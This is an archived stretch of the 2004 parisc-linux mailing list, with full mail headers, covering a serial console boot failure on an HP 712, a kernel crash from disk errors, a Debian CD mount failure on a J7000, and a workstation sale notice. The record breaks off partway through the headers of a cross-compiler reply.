X-Mailbox-Line: From varenet@esiee.fr Sat Jul 17 01:04:16 2004
Original-Received: from mail.zigoo.net (mail.zigoo.net [212.198.139.50])
	by pm-mnet1.mgn.net with ESMTP; Sat, 17 Jul 2004 01:04:16 (MEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id DA7CC33BF3; Sat, 17 Jul 2004 01:04:15 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with SMTP id F359033BF3;
	Sat, 17 Jul 2004 01:04:08 +0200 (CEST)
In-Reply-To: <Pine.LNX.4.60.0407161743420.32264@kani.popovich.net>
X-Mailer: Sylpheed-Claws 0.9.12 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on Tatooine.r3z0
X-Spam-Status: No, hits=-50.0 required=5.0 tests=LOCAL_RCVD autolearn=no 
	version=2.63
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21829

On Fri, 16 Jul 2004 17:55:45 -0400 (EDT)
"Peter E. Popovich" <peter@popovich.net> wrote:

> so, i got a 712/60, and got debian installed, and it all seemed to work 
> fine.
> 
> then i tried to use the serial console hack described at:
> http://www.pateam.org/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/consoles.html
> 
> something went wrong, because now, the system doesn't boot.  it appears
> to be dumping 0xNNNN diagnostic codes out the serial port.

This could be normal ;)

Wait a bit, and among the 0xNNN you might eventually see "Starting boot
process" at some point. Then you'll saved. If you followed EXACTLY what
was said in the howto, it should work. We've got several of these tiny
beasts here booted in serial console (even our MySQL server is a 712!) ;)

Besides, it is mentionned that this is a hat trick, and
therefore,_dangerous_...

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] www.parisc-linux.org crashed
Date: Fri, 16 Jul 2004 23:15:14 -0400
Organization: wh0rd.org
Lines: 23
Approved: news@gmane.org
Message-ID: <200407162315.14273.vapier@gentoo.org>
References: <20040716031951.GB27175@colo.lackof.org>
	<1089986393.2098.20.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623507 10272 80.91.229.3 (22 Nov 2014 02:31:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18022 invoked by uid 65534); 17 Jul 2004 03:16:03 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 17 Jul 2004 05:16:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 992D13BDDB; Fri, 16 Jul 2004 21:16:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10440-07; Fri, 16 Jul 2004 21:16:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ACC113BDDD; Fri, 16 Jul 2004 21:15:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B47213BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 21:15:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10435-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 21:15:20 -0600 (MDT)
Original-Received: from wh0rd.org (wh0rd.org [212.13.198.204])
	by free.linux.hp.com (Postfix) with ESMTP id 0A75A3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 21:15:20 -0600 (MDT)
Original-Received: (qmail 11465 invoked from network); 16 Jul 2004 23:15:10 -0400
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 16 Jul 2004 23:15:10 -0400
Original-Received: (qmail 25943 invoked from network); 17 Jul 2004 05:41:15 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 17 Jul 2004 05:41:15 -0400
User-Agent: KMail/1.6.2
In-Reply-To: <1089986393.2098.20.camel@mulgrave>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21830

On Friday 16 July 2004 09:59 am, James Bottomley wrote:
> On Thu, 2004-07-15 at 22:19, Grant Grundler wrote:
> > Hi,
> > www.parisc-linux.org crashed earlier today running a 2.4.25 kernel.
> > I happened to be around and recovered the console.
> > Appended below in case someone wanted to poke at it a bit or can
> > tell me this is a known problem.
>
> It looks like a usual ext3 panic precipitated by a disc I/O error.  What
> were the SCSI logs before this?

yeah, the only time ive seen those kind of errors are when there was actual 
hardware failure ... a reboot would 'remedy' the situation :)

ive seen this on x86 (when the hd loses power temporarily) and on hppa (when 
using a semi-crappy external scsi disc)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Peter E. Popovich" <peter@popovich.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60, 712/80, serial console, firmware update,
	"dagger cards"
Date: Sat, 17 Jul 2004 01:36:33 -0400 (EDT)
Lines: 79
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.60.0407170128540.7555@kani.popovich.net>
References: <Pine.LNX.4.60.0407161743420.32264@kani.popovich.net>
	<20040717010407.25b64a24@Tatooine.r3z0>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII;
  format=flowed
X-Trace: ger.gmane.org 1416623507 10275 80.91.229.3 (22 Nov 2014 02:31:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 26967 invoked by uid 65534); 17 Jul 2004 05:37:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx050) with SMTP; 17 Jul 2004 07:37:28 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D91C43BC41; Fri, 16 Jul 2004 23:37:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13437-04; Fri, 16 Jul 2004 23:37:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9F0A3BDDD; Fri, 16 Jul 2004 23:36:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BFB1E3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 23:36:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13218-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 23:36:32 -0600 (MDT)
Original-Received: from kani.popovich.net (adsl-065-083-168-066.sip.mco.bellsouth.net
	[65.83.168.66])
	by free.linux.hp.com (Postfix) with ESMTP id 1FD163BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 23:36:32 -0600 (MDT)
Original-Received: from kani.popovich.net (localhost.localdomain [127.0.0.1])
	by kani.popovich.net (8.12.11/8.12.10) with ESMTP id i6H5aYX7007713
	env-from (peter@popovich.net); Sat, 17 Jul 2004 01:36:34 -0400
Original-Received: from localhost (popovich@localhost)
	by kani.popovich.net (8.12.11/8.12.11/Submit) with ESMTP id
	i6H5aXie007710; Sat, 17 Jul 2004 01:36:34 -0400
X-Authentication-Warning: kani.popovich.net: popovich owned process doing -bs
X-X-Sender: popovich@kani.popovich.net
In-Reply-To: <20040717010407.25b64a24@Tatooine.r3z0>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21831

On Sat, 17 Jul 2004, Thibaut VARENE wrote:
>> then i tried to use the serial console hack described at:
>> http://www.pateam.org/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/consoles.html
>>
>> something went wrong, because now, the system doesn't boot.  it appears
>> to be dumping 0xNNNN diagnostic codes out the serial port.
>
> This could be normal ;)
>
> Wait a bit, and among the 0xNNN you might eventually see "Starting boot
> process" at some point. Then you'll saved. If you followed EXACTLY what
> was said in the howto, it should work. We've got several of these tiny
> beasts here booted in serial console (even our MySQL server is a 712!) ;)
>
> Besides, it is mentionned that this is a hat trick, and
> therefore,_dangerous_...

i'm fairly sure i did it letter-perfect, but i'm human, so i may not have.

waiting a bit doesn't seem to be the issue.  i've waited 10+ minutes, 
multiple times.  the output appears to be consistent:

0x04.1081
0x04.1080
0x04.1082
0x04.1086
0x04.1087
0x04.108A
0x04.108B
0x04.108C
0x04.1083
0x04.10D1
0x04.10D2
0x04.2090
0x04.2091
0x04.209F
0x04.2096
0x04.2094
0x04.2095
0x06.C201
0x04.10DB   <--- there's a pause here
0x04.10D7
0x04.10D8
0x04.2097
0x04.2098
0x04.2099
0x04.209A
0x04.209B
0x04.1091
0x04.1092
0x04.1093
0x04.1094
0x04.1095
0x04.1096
0x04.1090
0x04.108D
0x04.10D4
0x04.10D9
0x04.4080
0x04.4081
0x04.4082
0x04.8300
0x04.8322
0x04.8326
0x04.8328
0x04.832A
0x04.832B
0x04.832C
0x04.8321
0x04.8301
0x02.1009

it'd be interesting to see what it *should* look like.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Xianjie Zhang <xzhang@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J7000: Problem to Install Kernel and Driver Modules
Date: Fri, 16 Jul 2004 22:42:50 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <40F8BC5A.9040208@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623508 10276 80.91.229.3 (22 Nov 2014 02:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28665 invoked by uid 65534); 17 Jul 2004 05:43:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 17 Jul 2004 07:43:14 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2EE553BE04; Fri, 16 Jul 2004 23:43:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13520-05; Fri, 16 Jul 2004 23:43:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2278A3BDDD; Fri, 16 Jul 2004 23:43:01 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 074823BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 23:42:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13437-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 23:42:55 -0600 (MDT)
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by free.linux.hp.com (Postfix) with ESMTP id CCBAA3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 23:42:54 -0600 (MDT)
Original-Received: from esmail.cup.hp.com (esmail.cup.hp.com [15.0.65.164])
	by palrel12.hp.com (Postfix) with ESMTP id 43EDF413AE5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 22:42:51 -0700 (PDT)
Original-Received: from cup.hp.com (xianjie.cup.hp.com [15.13.105.74])
	by esmail.cup.hp.com (8.9.3 (PHNE_29774)/8.8.6) with ESMTP id WAA10962
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 22:42:49 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; U; HP-UX 9000/785; en-US; rv:1.6) Gecko/20040304
X-Accept-Language: en, zh-CN
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21832

Hi, there,

I am trying to install Linux on a HP J-7000 machine.
I burned the Debian 3.0 R1 CD 1 and 2, boot the system to the following 
screen:
===========================================
   Debian GNU/Linux Installation Main Menu
 You've mounted your root filesystem.  You may initialize and
 mount additional filesystems, or you may go on to install  
  the operating system kernel and the modules.         
  Next      : Install Kernel and Driver Modules    
 Alternate : Initialize a Linux Partition             
 Alternate1: Mount a Previously-Initialized Partition  
 Configure the Keyboard                                x    x             
x x Partition a Hard Disk                                 x    
x              
x x Initialize and Activate a Swap Partition              x    
x              
x x Activate a Previously-Initialized Swap Partition      x    
x             
 x x Do Without a Swap Partition                           x    
x              
x x Initialize a Linux Partition                          x    
x             
x x Mount a Previously-Initialized Partition              x    
x             
 x x Unmount a Partition                                   x    
x               x
===========================================

So I selected to " Install Kernel and Driver Modules ". For the next 
screen, I selected cdrom. Then I got the following:

"Please place the first Debian CD-ROM in the CD-ROM drive. "

Since the CD is already in place, I select continue. Now the screen says:
=================
             Mount failed
The CD-ROM was not mounted successfully.      
                        <Continue>                         
================

I tried to eject the CD and insert it again, NO success.
I also tried to insert the number 2 CD, still the same failure.

Did anyone see this before?  (The mail archive is huge, I did a cursory 
search, but failed to find an answer.)
Since the system can boot from the CD, I suppose it should not have any 
problem to mount it. What is wrong with it?

(Is it because that the CD-ROM has already been mounted? and nobody 
umount it?)

Thanks and regards,

Xianjie



_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jesse Dougherty" <jesse@cypress-tech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] <Plug> Cheap HP Visualize J5000's on Ebay
Date: Mon, 19 Jul 2004 14:18:14 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <NIBBLGCBOLIHKHIPMOJKOEBJCCAA.jesse@cypress-tech.com>
Reply-To: jesse@cypress-tech.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623508 10279 80.91.229.3 (22 Nov 2014 02:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22681 invoked by uid 65534); 19 Jul 2004 18:16:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 19 Jul 2004 20:16:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BF3F03BE17; Mon, 19 Jul 2004 12:16:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08624-10; Mon, 19 Jul 2004 12:16:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 268983BE0A; Mon, 19 Jul 2004 12:15:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D2BD93BE06
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jul 2004 12:15:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 08624-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jul 2004 12:15:16 -0600 (MDT)
Original-Received: from cypress2.cypress-tech.com (tamqfl1-53-130.biz.dsl.gtei.net
	[209.241.53.130])
	by free.linux.hp.com (Postfix) with ESMTP id 2E0A93BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 19 Jul 2004 12:14:35 -0600 (MDT)
Original-Received: from jesse ([209.241.53.131]) by cypress2.cypress-tech.com with
	Microsoft SMTPSVC(5.0.2195.6713); Mon, 19 Jul 2004 14:07:13 -0400
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409
X-OriginalArrivalTime: 19 Jul 2004 18:07:13.0843 (UTC)
	FILETIME=[37F68030:01C46DBB]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21833

Hi there, just a quick note to the list that our company has several
inexpensive HP 9000/J5000 Visualize workstations listed on ebay. The ebay
item number is 5710236441 or following the link below:

http://cgi.ebay.com/ws/eBayISAPI.dll?ViewItem&category=51234&item=5710236441


Thanks
Jesse Dougherty
Cypress Technology, Inc
Re-Sellers of HP 3000/9000 products
jesse@cypress-tech.com

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help: i386-linux -> hppa-hpux cross-compiler
Date: Sun, 25 Jul 2004 16:53:10 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200407252053.i6PKrBTX007736@hiauly1.hia.nrc.ca>
References: <20040725200211.GA12070@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623508 10281 80.91.229.3 (22 Nov 2014 02:31:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:48 +0000 (UTC)
Cc: laveer@tuphaan.engr.wichita.edu,
 parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30013 invoked by uid 65534); 25 Jul 2004 20:53:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 25 Jul 2004 22:53:40 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BBFEF3BE12; Sun, 25 Jul 2004 14:53:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17010-02; Sun, 25 Jul 2004 14:53:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D712D3BDF4; Sun, 25 Jul 2004 14:53:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DAAC43BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jul 2004 14:53:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 15478-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jul 2004 14:53:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id A552A3BDCB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 25 Jul 2004 14:53:14 -0600 (MDT)
